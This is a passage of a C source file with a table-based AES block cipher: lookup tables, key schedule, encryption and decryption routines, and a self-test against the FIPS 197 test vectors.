122 | static uint32 FT1[256] = { FT }; 123 | #undef V 124 | 125 | #define V(a,b,c,d) 0x##c##d##a##b 126 | static uint32 FT2[256] = { FT }; 127 | #undef V 128 | 129 | #define V(a,b,c,d) 0x##b##c##d##a 130 | static uint32 FT3[256] = { FT }; 131 | #undef V 132 | 133 | /* reverse S-box */ 134 | 135 | static uint32 RSb[256] = 136 | { 137 | 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 138 | 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 139 | 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 140 | 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 141 | 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 142 | 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 143 | 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 144 | 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 145 | 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 146 | 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 147 | 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 148 | 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 149 | 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 150 | 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 151 | 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 152 | 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 153 | 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 154 | 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 155 | 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 156 | 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 157 | 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 158 | 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 159 | 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 160 | 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 161 | 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 162 | 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 163 | 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 164 | 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 165 | 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 166 | 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 167 | 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 168 | 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D 169 | }; 170 | 171 | /* reverse table */ 172 | 173 | #define RT \ 174 | \ 175 | V(51,F4,A7,50), V(7E,41,65,53), V(1A,17,A4,C3), V(3A,27,5E,96), \ 176 | V(3B,AB,6B,CB), V(1F,9D,45,F1), V(AC,FA,58,AB), V(4B,E3,03,93), \ 177 | V(20,30,FA,55), V(AD,76,6D,F6), V(88,CC,76,91), V(F5,02,4C,25), \ 178 | V(4F,E5,D7,FC), V(C5,2A,CB,D7), V(26,35,44,80), V(B5,62,A3,8F), \ 179 | V(DE,B1,5A,49), V(25,BA,1B,67), V(45,EA,0E,98), V(5D,FE,C0,E1), \ 180 | V(C3,2F,75,02), V(81,4C,F0,12), V(8D,46,97,A3), V(6B,D3,F9,C6), \ 181 | V(03,8F,5F,E7), V(15,92,9C,95), V(BF,6D,7A,EB), V(95,52,59,DA), \ 182 | V(D4,BE,83,2D), V(58,74,21,D3), V(49,E0,69,29), V(8E,C9,C8,44), \ 183 | V(75,C2,89,6A), V(F4,8E,79,78), V(99,58,3E,6B), V(27,B9,71,DD), \ 184 | V(BE,E1,4F,B6), V(F0,88,AD,17), V(C9,20,AC,66), V(7D,CE,3A,B4), \ 185 | V(63,DF,4A,18), V(E5,1A,31,82), V(97,51,33,60), V(62,53,7F,45), \ 186 | V(B1,64,77,E0), V(BB,6B,AE,84), V(FE,81,A0,1C), V(F9,08,2B,94), \ 187 | V(70,48,68,58), V(8F,45,FD,19), V(94,DE,6C,87), V(52,7B,F8,B7), \ 188 | V(AB,73,D3,23), V(72,4B,02,E2), V(E3,1F,8F,57), V(66,55,AB,2A), \ 189 | V(B2,EB,28,07), V(2F,B5,C2,03), V(86,C5,7B,9A), V(D3,37,08,A5), \ 190 | V(30,28,87,F2), V(23,BF,A5,B2), V(02,03,6A,BA), V(ED,16,82,5C), \ 191 | V(8A,CF,1C,2B), V(A7,79,B4,92), V(F3,07,F2,F0), V(4E,69,E2,A1), \ 192 | V(65,DA,F4,CD), V(06,05,BE,D5), V(D1,34,62,1F), V(C4,A6,FE,8A), \ 193 | V(34,2E,53,9D), V(A2,F3,55,A0), V(05,8A,E1,32), V(A4,F6,EB,75), \ 194 | V(0B,83,EC,39), V(40,60,EF,AA), V(5E,71,9F,06), V(BD,6E,10,51), \ 195 | V(3E,21,8A,F9), V(96,DD,06,3D), V(DD,3E,05,AE), V(4D,E6,BD,46), \ 196 | V(91,54,8D,B5), V(71,C4,5D,05), V(04,06,D4,6F), V(60,50,15,FF), \ 197 | V(19,98,FB,24), V(D6,BD,E9,97), V(89,40,43,CC), V(67,D9,9E,77), \ 198 | V(B0,E8,42,BD), V(07,89,8B,88), V(E7,19,5B,38), V(79,C8,EE,DB), \ 199 | V(A1,7C,0A,47), V(7C,42,0F,E9), V(F8,84,1E,C9), V(00,00,00,00), \ 200 | V(09,80,86,83), V(32,2B,ED,48), V(1E,11,70,AC), V(6C,5A,72,4E), \ 201 | V(FD,0E,FF,FB), V(0F,85,38,56), V(3D,AE,D5,1E), V(36,2D,39,27), \ 202 | V(0A,0F,D9,64), V(68,5C,A6,21), V(9B,5B,54,D1), V(24,36,2E,3A), \ 203 | V(0C,0A,67,B1), V(93,57,E7,0F), V(B4,EE,96,D2), V(1B,9B,91,9E), \ 204 | V(80,C0,C5,4F), V(61,DC,20,A2), V(5A,77,4B,69), V(1C,12,1A,16), \ 205 | V(E2,93,BA,0A), V(C0,A0,2A,E5), V(3C,22,E0,43), V(12,1B,17,1D), \ 206 | V(0E,09,0D,0B), V(F2,8B,C7,AD), V(2D,B6,A8,B9), V(14,1E,A9,C8), \ 207 | V(57,F1,19,85), V(AF,75,07,4C), V(EE,99,DD,BB), V(A3,7F,60,FD), \ 208 | V(F7,01,26,9F), V(5C,72,F5,BC), V(44,66,3B,C5), V(5B,FB,7E,34), \ 209 | V(8B,43,29,76), V(CB,23,C6,DC), V(B6,ED,FC,68), V(B8,E4,F1,63), \ 210 | V(D7,31,DC,CA), V(42,63,85,10), V(13,97,22,40), V(84,C6,11,20), \ 211 | V(85,4A,24,7D), V(D2,BB,3D,F8), V(AE,F9,32,11), V(C7,29,A1,6D), \ 212 | V(1D,9E,2F,4B), V(DC,B2,30,F3), V(0D,86,52,EC), V(77,C1,E3,D0), \ 213 | V(2B,B3,16,6C), V(A9,70,B9,99), V(11,94,48,FA), V(47,E9,64,22), \ 214 | V(A8,FC,8C,C4), V(A0,F0,3F,1A), V(56,7D,2C,D8), V(22,33,90,EF), \ 215 | V(87,49,4E,C7), V(D9,38,D1,C1), V(8C,CA,A2,FE), V(98,D4,0B,36), \ 216 | V(A6,F5,81,CF), V(A5,7A,DE,28), V(DA,B7,8E,26), V(3F,AD,BF,A4), \ 217 | V(2C,3A,9D,E4), V(50,78,92,0D), V(6A,5F,CC,9B), V(54,7E,46,62), \ 218 | V(F6,8D,13,C2), V(90,D8,B8,E8), V(2E,39,F7,5E), V(82,C3,AF,F5), \ 219 | V(9F,5D,80,BE), V(69,D0,93,7C), V(6F,D5,2D,A9), V(CF,25,12,B3), \ 220 | V(C8,AC,99,3B), V(10,18,7D,A7), V(E8,9C,63,6E), V(DB,3B,BB,7B), \ 221 | V(CD,26,78,09), V(6E,59,18,F4), V(EC,9A,B7,01), V(83,4F,9A,A8), \ 222 | V(E6,95,6E,65), V(AA,FF,E6,7E), V(21,BC,CF,08), V(EF,15,E8,E6), \ 223 | V(BA,E7,9B,D9), V(4A,6F,36,CE), V(EA,9F,09,D4), V(29,B0,7C,D6), \ 224 | V(31,A4,B2,AF), V(2A,3F,23,31), V(C6,A5,94,30), V(35,A2,66,C0), \ 225 | V(74,4E,BC,37), V(FC,82,CA,A6), V(E0,90,D0,B0), V(33,A7,D8,15), \ 226 | V(F1,04,98,4A), V(41,EC,DA,F7), V(7F,CD,50,0E), V(17,91,F6,2F), \ 227 | V(76,4D,D6,8D), V(43,EF,B0,4D), V(CC,AA,4D,54), V(E4,96,04,DF), \ 228 | V(9E,D1,B5,E3), V(4C,6A,88,1B), V(C1,2C,1F,B8), V(46,65,51,7F), \ 229 | V(9D,5E,EA,04), V(01,8C,35,5D), V(FA,87,74,73), V(FB,0B,41,2E), \ 230 | V(B3,67,1D,5A), V(92,DB,D2,52), V(E9,10,56,33), V(6D,D6,47,13), \ 231 | V(9A,D7,61,8C), V(37,A1,0C,7A), V(59,F8,14,8E), V(EB,13,3C,89), \ 232 | V(CE,A9,27,EE), V(B7,61,C9,35), V(E1,1C,E5,ED), V(7A,47,B1,3C), \ 233 | V(9C,D2,DF,59), V(55,F2,73,3F), V(18,14,CE,79), V(73,C7,37,BF), \ 234 | V(53,F7,CD,EA), V(5F,FD,AA,5B), V(DF,3D,6F,14), V(78,44,DB,86), \ 235 | V(CA,AF,F3,81), V(B9,68,C4,3E), V(38,24,34,2C), V(C2,A3,40,5F), \ 236 | V(16,1D,C3,72), V(BC,E2,25,0C), V(28,3C,49,8B), V(FF,0D,95,41), \ 237 | V(39,A8,01,71), V(08,0C,B3,DE), V(D8,B4,E4,9C), V(64,56,C1,90), \ 238 | V(7B,CB,84,61), V(D5,32,B6,70), V(48,6C,5C,74), V(D0,B8,57,42) 239 | 240 | #define V(a,b,c,d) 0x##a##b##c##d 241 | static uint32 RT0[256] = { RT }; 242 | #undef V 243 | 244 | #define V(a,b,c,d) 0x##d##a##b##c 245 | static uint32 RT1[256] = { RT }; 246 | #undef V 247 | 248 | #define V(a,b,c,d) 0x##c##d##a##b 249 | static uint32 RT2[256] = { RT }; 250 | #undef V 251 | 252 | #define V(a,b,c,d) 0x##b##c##d##a 253 | static uint32 RT3[256] = { RT }; 254 | #undef V 255 | 256 | /* round constants */ 257 | 258 | static uint32 RCON[10] = 259 | { 260 | 0x01000000, 0x02000000, 0x04000000, 0x08000000, 261 | 0x10000000, 0x20000000, 0x40000000, 0x80000000, 262 | 0x1B000000, 0x36000000 263 | }; 264 | 265 | /* platform-independant 32-bit integer manipulation macros */ 266 | 267 | #define GET_UINT32(n,b,i) \ 268 | { \ 269 | (n) = ( (uint32) (b)[(i) ] << 24 ) \ 270 | | ( (uint32) (b)[(i) + 1] << 16 ) \ 271 | | ( (uint32) (b)[(i) + 2] << 8 ) \ 272 | | ( (uint32) (b)[(i) + 3] ); \ 273 | } 274 | 275 | #define PUT_UINT32(n,b,i) \ 276 | { \ 277 | (b)[(i) ] = (uint8) ( (n) >> 24 ); \ 278 | (b)[(i) + 1] = (uint8) ( (n) >> 16 ); \ 279 | (b)[(i) + 2] = (uint8) ( (n) >> 8 ); \ 280 | (b)[(i) + 3] = (uint8) ( (n) ); \ 281 | } 282 | 283 | /* key scheduling routine */ 284 | 285 | int aes_set_key( struct aes_context *ctx, uint8 *key, int nbits ) 286 | { 287 | // printf("\n=========\n"); 288 | // for (int i = 0; i < sizeof(key); i++) { 289 | // printf("%02x", key[i]); 290 | // } 291 | // printf("\n=========\n"); 292 | 293 | int i; 294 | uint32 *RK; 295 | 296 | switch( nbits ) 297 | { 298 | case 128: ctx->nr = 10; break; 299 | case 192: ctx->nr = 12; break; 300 | case 256: ctx->nr = 14; break; 301 | default : return( 1 ); 302 | } 303 | 304 | RK = ctx->erk; 305 | 306 | for( i = 0; i < (nbits >> 5); i++ ) 307 | { 308 | GET_UINT32( RK[i], key, i * 4 ); 309 | } 310 | 311 | /* setup encryption round keys */ 312 | 313 | switch( nbits ) 314 | { 315 | case 128: 316 | 317 | for( i = 0; i < 10; i++, RK += 4 ) 318 | { 319 | RK[4] = RK[0] ^ RCON[i] ^ 320 | ( FSb[ (uint8) ( RK[3] >> 16 ) ] << 24 ) ^ 321 | ( FSb[ (uint8) ( RK[3] >> 8 ) ] << 16 ) ^ 322 | ( FSb[ (uint8) ( RK[3] ) ] << 8 ) ^ 323 | ( FSb[ (uint8) ( RK[3] >> 24 ) ] ); 324 | 325 | RK[5] = RK[1] ^ RK[4]; 326 | RK[6] = RK[2] ^ RK[5]; 327 | RK[7] = RK[3] ^ RK[6]; 328 | } 329 | break; 330 | 331 | case 192: 332 | 333 | for( i = 0; i < 8; i++, RK += 6 ) 334 | { 335 | RK[6] = RK[0] ^ RCON[i] ^ 336 | ( FSb[ (uint8) ( RK[5] >> 16 ) ] << 24 ) ^ 337 | ( FSb[ (uint8) ( RK[5] >> 8 ) ] << 16 ) ^ 338 | ( FSb[ (uint8) ( RK[5] ) ] << 8 ) ^ 339 | ( FSb[ (uint8) ( RK[5] >> 24 ) ] ); 340 | 341 | RK[7] = RK[1] ^ RK[6]; 342 | RK[8] = RK[2] ^ RK[7]; 343 | RK[9] = RK[3] ^ RK[8]; 344 | RK[10] = RK[4] ^ RK[9]; 345 | RK[11] = RK[5] ^ RK[10]; 346 | } 347 | break; 348 | 349 | case 256: 350 | 351 | for( i = 0; i < 7; i++, RK += 8 ) 352 | { 353 | RK[8] = RK[0] ^ RCON[i] ^ 354 | ( FSb[ (uint8) ( RK[7] >> 16 ) ] << 24 ) ^ 355 | ( FSb[ (uint8) ( RK[7] >> 8 ) ] << 16 ) ^ 356 | ( FSb[ (uint8) ( RK[7] ) ] << 8 ) ^ 357 | ( FSb[ (uint8) ( RK[7] >> 24 ) ] ); 358 | 359 | RK[9] = RK[1] ^ RK[8]; 360 | RK[10] = RK[2] ^ RK[9]; 361 | RK[11] = RK[3] ^ RK[10]; 362 | 363 | RK[12] = RK[4] ^ 364 | ( FSb[ (uint8) ( RK[11] >> 24 ) ] << 24 ) ^ 365 | ( FSb[ (uint8) ( RK[11] >> 16 ) ] << 16 ) ^ 366 | ( FSb[ (uint8) ( RK[11] >> 8 ) ] << 8 ) ^ 367 | ( FSb[ (uint8) ( RK[11] ) ] ); 368 | 369 | RK[13] = RK[5] ^ RK[12]; 370 | RK[14] = RK[6] ^ RK[13]; 371 | RK[15] = RK[7] ^ RK[14]; 372 | } 373 | break; 374 | } 375 | 376 | /* setup decryption round keys */ 377 | 378 | for( i = 0; i <= ctx->nr; i++ ) 379 | { 380 | ctx->drk[i * 4 ] = ctx->erk[( ctx->nr - i ) * 4 ]; 381 | ctx->drk[i * 4 + 1] = ctx->erk[( ctx->nr - i ) * 4 + 1]; 382 | ctx->drk[i * 4 + 2] = ctx->erk[( ctx->nr - i ) * 4 + 2]; 383 | ctx->drk[i * 4 + 3] = ctx->erk[( ctx->nr - i ) * 4 + 3]; 384 | } 385 | 386 | for( i = 1, RK = ctx->drk + 4; i < ctx->nr; i++, RK += 4 ) 387 | { 388 | RK[0] = RT0[ FSb[ (uint8) ( RK[0] >> 24 ) ] ] ^ 389 | RT1[ FSb[ (uint8) ( RK[0] >> 16 ) ] ] ^ 390 | RT2[ FSb[ (uint8) ( RK[0] >> 8 ) ] ] ^ 391 | RT3[ FSb[ (uint8) ( RK[0] ) ] ]; 392 | 393 | RK[1] = RT0[ FSb[ (uint8) ( RK[1] >> 24 ) ] ] ^ 394 | RT1[ FSb[ (uint8) ( RK[1] >> 16 ) ] ] ^ 395 | RT2[ FSb[ (uint8) ( RK[1] >> 8 ) ] ] ^ 396 | RT3[ FSb[ (uint8) ( RK[1] ) ] ]; 397 | 398 | RK[2] = RT0[ FSb[ (uint8) ( RK[2] >> 24 ) ] ] ^ 399 | RT1[ FSb[ (uint8) ( RK[2] >> 16 ) ] ] ^ 400 | RT2[ FSb[ (uint8) ( RK[2] >> 8 ) ] ] ^ 401 | RT3[ FSb[ (uint8) ( RK[2] ) ] ]; 402 | 403 | RK[3] = RT0[ FSb[ (uint8) ( RK[3] >> 24 ) ] ] ^ 404 | RT1[ FSb[ (uint8) ( RK[3] >> 16 ) ] ] ^ 405 | RT2[ FSb[ (uint8) ( RK[3] >> 8 ) ] ] ^ 406 | RT3[ FSb[ (uint8) ( RK[3] ) ] ]; 407 | } 408 | 409 | return( 0 ); 410 | } 411 | 412 | /* 128-bit block encryption routine */ 413 | 414 | void aes_encrypt( struct aes_context *ctx, uint8 data[16] ) 415 | { 416 | uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; 417 | 418 | RK = ctx->erk; 419 | 420 | GET_UINT32( X0, data, 0 ); X0 ^= RK[0]; 421 | GET_UINT32( X1, data, 4 ); X1 ^= RK[1]; 422 | GET_UINT32( X2, data, 8 ); X2 ^= RK[2]; 423 | GET_UINT32( X3, data, 12 ); X3 ^= RK[3]; 424 | 425 | #define FROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \ 426 | { \ 427 | RK += 4; \ 428 | \ 429 | X0 = RK[0] ^ FT0[ (uint8) ( Y0 >> 24 ) ] ^ \ 430 | FT1[ (uint8) ( Y1 >> 16 ) ] ^ \ 431 | FT2[ (uint8) ( Y2 >> 8 ) ] ^ \ 432 | FT3[ (uint8) ( Y3 ) ]; \ 433 | \ 434 | X1 = RK[1] ^ FT0[ (uint8) ( Y1 >> 24 ) ] ^ \ 435 | FT1[ (uint8) ( Y2 >> 16 ) ] ^ \ 436 | FT2[ (uint8) ( Y3 >> 8 ) ] ^ \ 437 | FT3[ (uint8) ( Y0 ) ]; \ 438 | \ 439 | X2 = RK[2] ^ FT0[ (uint8) ( Y2 >> 24 ) ] ^ \ 440 | FT1[ (uint8) ( Y3 >> 16 ) ] ^ \ 441 | FT2[ (uint8) ( Y0 >> 8 ) ] ^ \ 442 | FT3[ (uint8) ( Y1 ) ]; \ 443 | \ 444 | X3 = RK[3] ^ FT0[ (uint8) ( Y3 >> 24 ) ] ^ \ 445 | FT1[ (uint8) ( Y0 >> 16 ) ] ^ \ 446 | FT2[ (uint8) ( Y1 >> 8 ) ] ^ \ 447 | FT3[ (uint8) ( Y2 ) ]; \ 448 | } 449 | 450 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 1 */ 451 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 2 */ 452 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 3 */ 453 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 4 */ 454 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 5 */ 455 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 6 */ 456 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 7 */ 457 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 8 */ 458 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 9 */ 459 | 460 | if( ctx->nr > 10 ) 461 | { 462 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 10 */ 463 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 11 */ 464 | } 465 | 466 | if( ctx->nr > 12 ) 467 | { 468 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 12 */ 469 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 13 */ 470 | } 471 | 472 | /* last round */ 473 | 474 | RK += 4; 475 | 476 | X0 = RK[0] ^ ( FSb[ (uint8) ( Y0 >> 24 ) ] << 24 ) ^ 477 | ( FSb[ (uint8) ( Y1 >> 16 ) ] << 16 ) ^ 478 | ( FSb[ (uint8) ( Y2 >> 8 ) ] << 8 ) ^ 479 | ( FSb[ (uint8) ( Y3 ) ] ); 480 | 481 | X1 = RK[1] ^ ( FSb[ (uint8) ( Y1 >> 24 ) ] << 24 ) ^ 482 | ( FSb[ (uint8) ( Y2 >> 16 ) ] << 16 ) ^ 483 | ( FSb[ (uint8) ( Y3 >> 8 ) ] << 8 ) ^ 484 | ( FSb[ (uint8) ( Y0 ) ] ); 485 | 486 | X2 = RK[2] ^ ( FSb[ (uint8) ( Y2 >> 24 ) ] << 24 ) ^ 487 | ( FSb[ (uint8) ( Y3 >> 16 ) ] << 16 ) ^ 488 | ( FSb[ (uint8) ( Y0 >> 8 ) ] << 8 ) ^ 489 | ( FSb[ (uint8) ( Y1 ) ] ); 490 | 491 | X3 = RK[3] ^ ( FSb[ (uint8) ( Y3 >> 24 ) ] << 24 ) ^ 492 | ( FSb[ (uint8) ( Y0 >> 16 ) ] << 16 ) ^ 493 | ( FSb[ (uint8) ( Y1 >> 8 ) ] << 8 ) ^ 494 | ( FSb[ (uint8) ( Y2 ) ] ); 495 | 496 | PUT_UINT32( X0, data, 0 ); 497 | PUT_UINT32( X1, data, 4 ); 498 | PUT_UINT32( X2, data, 8 ); 499 | PUT_UINT32( X3, data, 12 ); 500 | } 501 | 502 | /* 128-bit block decryption routine */ 503 | 504 | void aes_decrypt( struct aes_context *ctx, uint8 data[16] ) 505 | { 506 | uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; 507 | 508 | RK = ctx->drk; 509 | 510 | GET_UINT32( X0, data, 0 ); X0 ^= RK[0]; 511 | GET_UINT32( X1, data, 4 ); X1 ^= RK[1]; 512 | GET_UINT32( X2, data, 8 ); X2 ^= RK[2]; 513 | GET_UINT32( X3, data, 12 ); X3 ^= RK[3]; 514 | 515 | #define RROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \ 516 | { \ 517 | RK += 4; \ 518 | \ 519 | X0 = RK[0] ^ RT0[ (uint8) ( Y0 >> 24 ) ] ^ \ 520 | RT1[ (uint8) ( Y3 >> 16 ) ] ^ \ 521 | RT2[ (uint8) ( Y2 >> 8 ) ] ^ \ 522 | RT3[ (uint8) ( Y1 ) ]; \ 523 | \ 524 | X1 = RK[1] ^ RT0[ (uint8) ( Y1 >> 24 ) ] ^ \ 525 | RT1[ (uint8) ( Y0 >> 16 ) ] ^ \ 526 | RT2[ (uint8) ( Y3 >> 8 ) ] ^ \ 527 | RT3[ (uint8) ( Y2 ) ]; \ 528 | \ 529 | X2 = RK[2] ^ RT0[ (uint8) ( Y2 >> 24 ) ] ^ \ 530 | RT1[ (uint8) ( Y1 >> 16 ) ] ^ \ 531 | RT2[ (uint8) ( Y0 >> 8 ) ] ^ \ 532 | RT3[ (uint8) ( Y3 ) ]; \ 533 | \ 534 | X3 = RK[3] ^ RT0[ (uint8) ( Y3 >> 24 ) ] ^ \ 535 | RT1[ (uint8) ( Y2 >> 16 ) ] ^ \ 536 | RT2[ (uint8) ( Y1 >> 8 ) ] ^ \ 537 | RT3[ (uint8) ( Y0 ) ]; \ 538 | } 539 | 540 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 1 */ 541 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 2 */ 542 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 3 */ 543 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 4 */ 544 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 5 */ 545 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 6 */ 546 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 7 */ 547 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 8 */ 548 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 9 */ 549 | 550 | if( ctx->nr > 10 ) 551 | { 552 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 10 */ 553 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 11 */ 554 | } 555 | 556 | if( ctx->nr > 12 ) 557 | { 558 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 12 */ 559 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 13 */ 560 | } 561 | 562 | /* last round */ 563 | 564 | RK += 4; 565 | 566 | X0 = RK[0] ^ ( RSb[ (uint8) ( Y0 >> 24 ) ] << 24 ) ^ 567 | ( RSb[ (uint8) ( Y3 >> 16 ) ] << 16 ) ^ 568 | ( RSb[ (uint8) ( Y2 >> 8 ) ] << 8 ) ^ 569 | ( RSb[ (uint8) ( Y1 ) ] ); 570 | 571 | X1 = RK[1] ^ ( RSb[ (uint8) ( Y1 >> 24 ) ] << 24 ) ^ 572 | ( RSb[ (uint8) ( Y0 >> 16 ) ] << 16 ) ^ 573 | ( RSb[ (uint8) ( Y3 >> 8 ) ] << 8 ) ^ 574 | ( RSb[ (uint8) ( Y2 ) ] ); 575 | 576 | X2 = RK[2] ^ ( RSb[ (uint8) ( Y2 >> 24 ) ] << 24 ) ^ 577 | ( RSb[ (uint8) ( Y1 >> 16 ) ] << 16 ) ^ 578 | ( RSb[ (uint8) ( Y0 >> 8 ) ] << 8 ) ^ 579 | ( RSb[ (uint8) ( Y3 ) ] ); 580 | 581 | X3 = RK[3] ^ ( RSb[ (uint8) ( Y3 >> 24 ) ] << 24 ) ^ 582 | ( RSb[ (uint8) ( Y2 >> 16 ) ] << 16 ) ^ 583 | ( RSb[ (uint8) ( Y1 >> 8 ) ] << 8 ) ^ 584 | ( RSb[ (uint8) ( Y0 ) ] ); 585 | 586 | PUT_UINT32( X0, data, 0 ); 587 | PUT_UINT32( X1, data, 4 ); 588 | PUT_UINT32( X2, data, 8 ); 589 | PUT_UINT32( X3, data, 12 ); 590 | } 591 | 592 | #ifdef TEST 593 | 594 | #include 595 | #include 596 | 597 | /* 598 | * those are the standard FIPS 197 test vectors 599 | */ 600 | 601 | static unsigned char KEYs[3][32] = 602 | { 603 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F", 604 | 605 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" \ 606 | "\x10\x11\x12\x13\x14\x15\x16\x17", 607 | 608 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" \ 609 | "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F" 610 | }; 611 | 612 | static unsigned char PT[16] = 613 | 614 | "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF"; 615 | 616 | static unsigned char CTs[3][16] = 617 | { 618 | "\x69\xC4\xE0\xD8\x6A\x7B\x04\x30\xD8\xCD\xB7\x80\x70\xB4\xC5\x5A", 619 | "\xDD\xA9\x7C\xA4\x86\x4C\xDF\xE0\x6E\xAF\x70\xA0\xEC\x0D\x71\x91", 620 | "\x8E\xA2\xB7\xCA\x51\x67\x45\xBF\xEA\xFC\x49\x90\x4B\x49\x60\x89" 621 | }; 622 | 623 | int main( void ) 624 | { 625 | int i; 626 | struct aes_context ctx; 627 | unsigned char data[16]; 628 | 629 | for( i = 0; i < 3; i++ ) 630 | { 631 | memcpy( data, PT, 16 ); 632 | 633 | aes_set_key( &ctx, KEYs[i], 128 + i * 64 ); 634 | aes_encrypt( &ctx, data ); 635 | 636 | printf( "encryption test %d ", i + 1 ); 637 | 638 | if( ! memcmp( data, CTs[i], 16 ) ) 639 | { 640 | printf( "passed\n" ); 641 | } 642 | else 643 | { 644 | printf( "failed\n" ); 645 | return( 1 ); 646 | } 647 | } 648 | 649 | for( i = 0; i < 3; i++ ) 650 | { 651 | memcpy( data, CTs[i], 16 ); 652 | 653 | aes_set_key( &ctx, KEYs[i], 128 + i * 64 ); 654 | aes_decrypt( &ctx, data ); 655 | 656 | printf( "decryption test %d ", i + 1 ); 657 | 658 | if( ! memcmp( data, PT, 16 ) ) 659 | { 660 | printf( "passed\n" ); 661 | } 662 | else 663 | { 664 | printf( "failed\n" ); 665 | return( 1 ); 666 | } 667 | } 668 | 669 | return( 0 ); 670 | } 671 | #endif 672 | --------------------------------------------------------------------------------